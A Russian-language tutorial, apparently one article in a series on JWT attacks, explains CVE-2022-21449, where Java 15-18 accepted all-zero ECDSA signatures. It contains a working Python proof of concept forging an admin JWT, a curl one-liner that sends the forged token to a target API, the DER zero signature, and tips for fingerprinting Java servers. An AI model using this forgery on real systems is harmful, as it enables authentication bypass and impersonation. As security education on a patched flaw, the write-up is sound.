Содержание:

Мы ломали HMAC брутфорсом (статья 7), RSA через algorithm confusion (статья 4). Теперь ECDSA.

Апрель 2022 года. Neil Madden из ForgeRock обнаруживает, что подпись из одних нулей проходит ECDSA-верификацию на Java 15-18. Для любого сообщения. С любым ключом. Хочешь быть admin? Подписывай нулями. TLS? Нулями. SAML? Нулями.

ECDSA в одном абзаце

ECDSA (Elliptic Curve Digital Signature Algorithm) - алгоритм цифровой подписи на эллиптических кривых. В JWT он используется под именами ES256, ES384, ES512. Подпись ECDSA - это пара чисел (r, s). При подписании используется случайный одноразовый номер k (nonce - number used once): из k вычисляется r (координата точки на кривой), а s вычисляется через формулу, связывающую k, хеш сообщения, r и приватный ключ. При верификации из r, s, хеша сообщения и публичного ключа вычисляется точка на кривой, и ее x-координата сравнивается с r. Если совпала - подпись валидна.

Ключевое: и r, и s должны быть числами от 1 и выше. Ноль недопустим. Именно эту проверку забыли в Java.

Что произошло: CVE-2022-21449

В Java 15 реализацию ECDSA переписали с нативного C-кода (который работал корректно и включал все необходимые проверки) на чистую Java. При переписывании потеряли проверку r >= 1 && s >= 1. Такая строчка была в C-коде, но не попала в Java-версию.

Почему r=0, s=0 ломает математику

Представь аналогию: у тебя есть уравнение проверки, в которое подставляются r и s. Когда оба равны нулю, все промежуточные вычисления коллапсируют. В ECDSA верификация включает деление на s (вычисление обратного элемента s по модулю порядка группы). Когда s = 0, обратный элемент не существует - но Java-реализация не проверяла этот случай и продолжала вычисления с нулями.

Технически: вычисляются точки u1*G + u2*Q, где u1 и u2 зависят от s^(-1). При s = 0 операция s^(-1) должна вызвать ошибку, но вместо этого дает 0. Тогда u1 = 0 и u2 = 0, точка вычисляется как 0*G + 0*Q = O (точка бесконечности), а ее x-координата определяется как 0. Проверка: 0 == r, где r = 0. True. Подпись принята.

Если провести аналогию - это как замок, в котором код 0000 принимается как правильный, потому что механизм проверки перемножает цифры кода: 0 * 0 * 0 * 0 = 0, и сравнивает с секретным значением, которое тоже вычислилось в 0 из-за той же ошибки.

Эллиптическая кривая Точки подписи (r, s) Нулевая подпись Результат верификации

PoC: подделка JWT за 5 строк

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url(json.dumps({"alg":"ES256","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"admin","role":"superuser","exp":1999999999}).encode())

# Подпись ES256 в P1363 формате: 64 нулевых байта (32 для r + 32 для s)
sig = b64url(b'\x00' * 64)

print(f"{header}.{payload}.{sig}")

Для ES384: 96 нулевых байт (48+48). Для ES512: 132 нуля (66+66). Размер зависит от кривой: P-256 использует 32-байтные числа, P-384 - 48-байтные, P-521 - 66-байтные.

В DER-формате (используется в TLS, SAML, X.509) нулевая подпись выглядит как: MAYCAQACAQA= - это base64 от 30 06 02 01 00 02 01 00 (ASN.1 SEQUENCE из двух INTEGER со значением 0).

Bash one-liner для тестирования

TOKEN=$(python3 -c "
import base64,json
def b(d):return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
h=b(json.dumps({'alg':'ES256','typ':'JWT'}).encode())
p=b(json.dumps({'sub':'admin'}).encode())
print(f'{h}.{p}.{b(b\"\x00\"*64)}')
")
curl -H "Authorization: Bearer $TOKEN" https://target/api/admin

Если ответ 200 вместо 401 - сервер работает на уязвимой Java.

Что затронуто

CVE-2022-21449 ломает все, что использует ECDSA-верификацию на Java 15-18:

  • JWT (ES256/ES384/ES512) - подделка любых токенов. Наш основной сценарий.
  • TLS 1.3 handshake - если сервер использует ECDSA-сертификат, MITM может подделать handshake нулевой подписью. Перехват всего трафика.
  • SAML assertions - подделка SSO-аутентификации. Вход в корпоративные системы без пароля.
  • WebAuthn/FIDO2 - обход аппаратных ключей безопасности (YubiKey и т.д.).
  • OIDC ID tokens - подделка identity в OpenID Connect.
  • Code signing - подпись произвольного кода.

Одна пропущенная проверка - и вся криптографическая инфраструктура Java рассыпается.

Как определить Java на сервере

Прежде чем слать нулевую подпись, нужно убедиться, что сервер работает на Java. Признаки:

  • Cookie JSESSIONID или заголовок X-Powered-By: Servlet/4.0
  • Stack traces с java.lang., javax., Spring, Tomcat
  • Endpoint /actuator/health (Spring Boot) - если отвечает JSON с информацией о приложении
  • Заголовки X-Application-Context, X-Spring-*
  • Формат ошибок: Tomcat выдает характерные HTML-страницы с версией

Определил Java 15-18? Проверяй нулевую подпись.

Уязвимые версии

  • Java SE 15 (все версии)
  • Java SE 16 (все версии)
  • Java SE 17 (до 17.0.3)
  • Java SE 18 (до 18.0.1)

Java 11 и ниже не затронуты - там осталась нативная C-реализация с корректной проверкой. Java 17.0.3+ и 18.0.1+ исправлены.

Одна строчка if (r.signum() < 1 || s.signum() < 1) return false защищает всю криптографию. Java-разработчики потеряли ее при переписывании на 14 месяцев. За эти 14 месяцев каждый Java-сервис, использующий ECDSA, был уязвим к подделке подписи.

Что дальше

В статьях 3-8 мы разобрали все основные атаки на JWT: alg:none, algorithm confusion, kid injection, jku/x5u/jwk/x5c, брутфорс, psychic signatures. Мы знаем как атаковать. В следующей статье давай поймем почему эти атаки работают - разберем криптографию JWT: HMAC, RSA, ECDSA. Зачем в HMAC два прохода, чем PS256 лучше RS256, и как Sony потеряла приватный ключ PlayStation 3 из-за повторного nonce.